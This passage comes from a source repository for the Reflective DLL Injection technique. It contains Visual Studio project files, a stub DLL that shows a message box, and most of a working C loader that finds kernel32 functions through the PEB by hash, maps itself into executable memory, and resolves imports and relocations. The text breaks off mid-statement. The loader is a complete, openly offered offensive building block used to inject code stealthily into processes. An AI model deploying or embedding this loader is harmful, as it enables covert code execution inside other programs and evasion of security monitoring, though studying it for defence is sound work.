| <WarningLevel>Level3</WarningLevel> 207 | <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> 208 | <BufferSecurityCheck>true</BufferSecurityCheck> 209 | <CompileAs>Default</CompileAs> 210 | </ClCompile> 211 | <Link> 212 | <GenerateDebugInformation>true</GenerateDebugInformation> 213 | <SubSystem>Windows</SubSystem> 214 | <OptimizeReferences>true</OptimizeReferences> 215 | <EnableCOMDATFolding>true</EnableCOMDATFolding> 216 | <OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile> 217 | </Link> 218 | <PostBuildEvent> 219 | <Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command> 220 | </PostBuildEvent> 221 | </ItemDefinitionGroup> 222 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> 223 | <Midl> 224 | <TargetEnvironment>X64</TargetEnvironment> 225 | </Midl> 226 | <ClCompile> 227 | <Optimization>MaxSpeed</Optimization> 228 | <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> 229 | <IntrinsicFunctions>true</IntrinsicFunctions> 230 | <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> 231 | <WholeProgramOptimization>false</WholeProgramOptimization> 232 | <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> 233 | <RuntimeLibrary>MultiThreaded</RuntimeLibrary> 234 | <FunctionLevelLinking>true</FunctionLevelLinking> 235 | <PrecompiledHeader /> 236 | <WarningLevel>Level3</WarningLevel> 237 | <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> 238 | <CompileAs>CompileAsCpp</CompileAs> 239 | </ClCompile> 240 | <Link> 241 | <OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile> 242 | <GenerateDebugInformation>true</GenerateDebugInformation> 243 | <SubSystem>Windows</SubSystem> 244 | <OptimizeReferences>true</OptimizeReferences> 245 | <EnableCOMDATFolding>true</EnableCOMDATFolding> 246 | <TargetMachine>MachineX64</TargetMachine> 247 | </Link> 248 | <PostBuildEvent> 249 | <Command>copy $(OutDir)$(ProjectName).x64.dll ..\bin\</Command> 250 | </PostBuildEvent> 251 | </ItemDefinitionGroup> 252 | <ItemGroup> 253 | <ClCompile Include="src\ReflectiveDll.c" /> 254 | <ClCompile Include="src\ReflectiveLoader.c" /> 255 | </ItemGroup> 256 | <ItemGroup> 257 | <ClInclude Include="src\ReflectiveDLLInjection.h" /> 258 | <ClInclude Include="src\ReflectiveLoader.h" /> 259 | </ItemGroup> 260 | <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> 261 | <ImportGroup Label="ExtensionTargets"> 262 | </ImportGroup> 263 | </Project> -------------------------------------------------------------------------------- /dll/reflective_dll.vcxproj.filters: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="utf-8"?> 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 3 | <ItemGroup> 4 | <Filter Include="Source Files"> 5 | <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> 6 | <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> 7 | </Filter> 8 | <Filter Include="Header Files"> 9 | <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> 10 | <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> 11 | </Filter> 12 | </ItemGroup> 13 | <ItemGroup> 14 | <ClCompile Include="src\ReflectiveDll.c"> 15 | <Filter>Source Files</Filter> 16 | </ClCompile> 17 | <ClCompile Include="src\ReflectiveLoader.c"> 18 | <Filter>Source Files</Filter> 19 | </ClCompile> 20 | </ItemGroup> 21 | <ItemGroup> 22 | <ClInclude Include="src\ReflectiveDLLInjection.h"> 23 | <Filter>Header Files</Filter> 24 | </ClInclude> 25 | <ClInclude Include="src\ReflectiveLoader.h"> 26 | <Filter>Header Files</Filter> 27 | </ClInclude> 28 | </ItemGroup> 29 | </Project> -------------------------------------------------------------------------------- /dll/src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include <windows.h> 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// 52 | -------------------------------------------------------------------------------- /dll/src/ReflectiveDll.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // This is a stub for the actuall functionality of the DLL. 3 | //===============================================================================================// 4 | #include "ReflectiveLoader.h" 5 | 6 | // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are 7 | // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 8 | // DllMain and use the LoadRemoteLibraryR() API to inject this DLL. 9 | 10 | // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) 11 | extern HINSTANCE hAppInstance; 12 | //===============================================================================================// 13 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 14 | { 15 | BOOL bReturnValue = TRUE; 16 | switch( dwReason ) 17 | { 18 | case DLL_QUERY_HMODULE: 19 | if( lpReserved != NULL ) 20 | *(HMODULE *)lpReserved = hAppInstance; 21 | break; 22 | case DLL_PROCESS_ATTACH: 23 | hAppInstance = hinstDLL; 24 | MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK ); 25 | break; 26 | case DLL_PROCESS_DETACH: 27 | case DLL_THREAD_ATTACH: 28 | case DLL_THREAD_DETACH: 29 | break; 30 | } 31 | return bReturnValue; 32 | } -------------------------------------------------------------------------------- /dll/src/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while( TRUE ) 90 | { 91 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword( 0x60 ); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword( 0x30 ); 115 | #else WIN_ARM 116 | uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while( uiValueA ) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror( (DWORD)uiValueC ); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if( *((BYTE *)uiValueB) >= 'a' ) 140 | uiValueC += *((BYTE *)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE *)uiValueB); 143 | uiValueB++; 144 | } while( --usCounter ); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while( usCounter > 0 ) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 183 | 184 | // store this functions VA 185 | if( dwHashValue == LOADLIBRARYA_HASH ) 186 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 187 | else if( dwHashValue == GETPROCADDRESS_HASH ) 188 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 189 | else if( dwHashValue == VIRTUALALLOC_HASH ) 190 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while( usCounter > 0 ) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 239 | 240 | // store this functions VA 241 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF( uiValueA ); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while( uiValueA-- ) 279 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while( uiValueE-- ) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 295 | 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while( uiValueD-- ) 300 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 314 | 315 | // itterate through all imports 316 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while( DEREF(uiValueA) ) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 332 | { 333 | // get the VA of the modules NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof( ULONG_PTR ); 361 | if( uiValueD ) 362 | uiValueD += sizeof( ULONG_PTR ); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 376 | 377 | // check if their are any relocations present 378 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 382 | 383 | // and we itterate through all entries... 384 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while( uiValueB-- ) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 402 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 404 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 416 | // sanity chack we are processing a MOV instruction... 417 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)( dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( 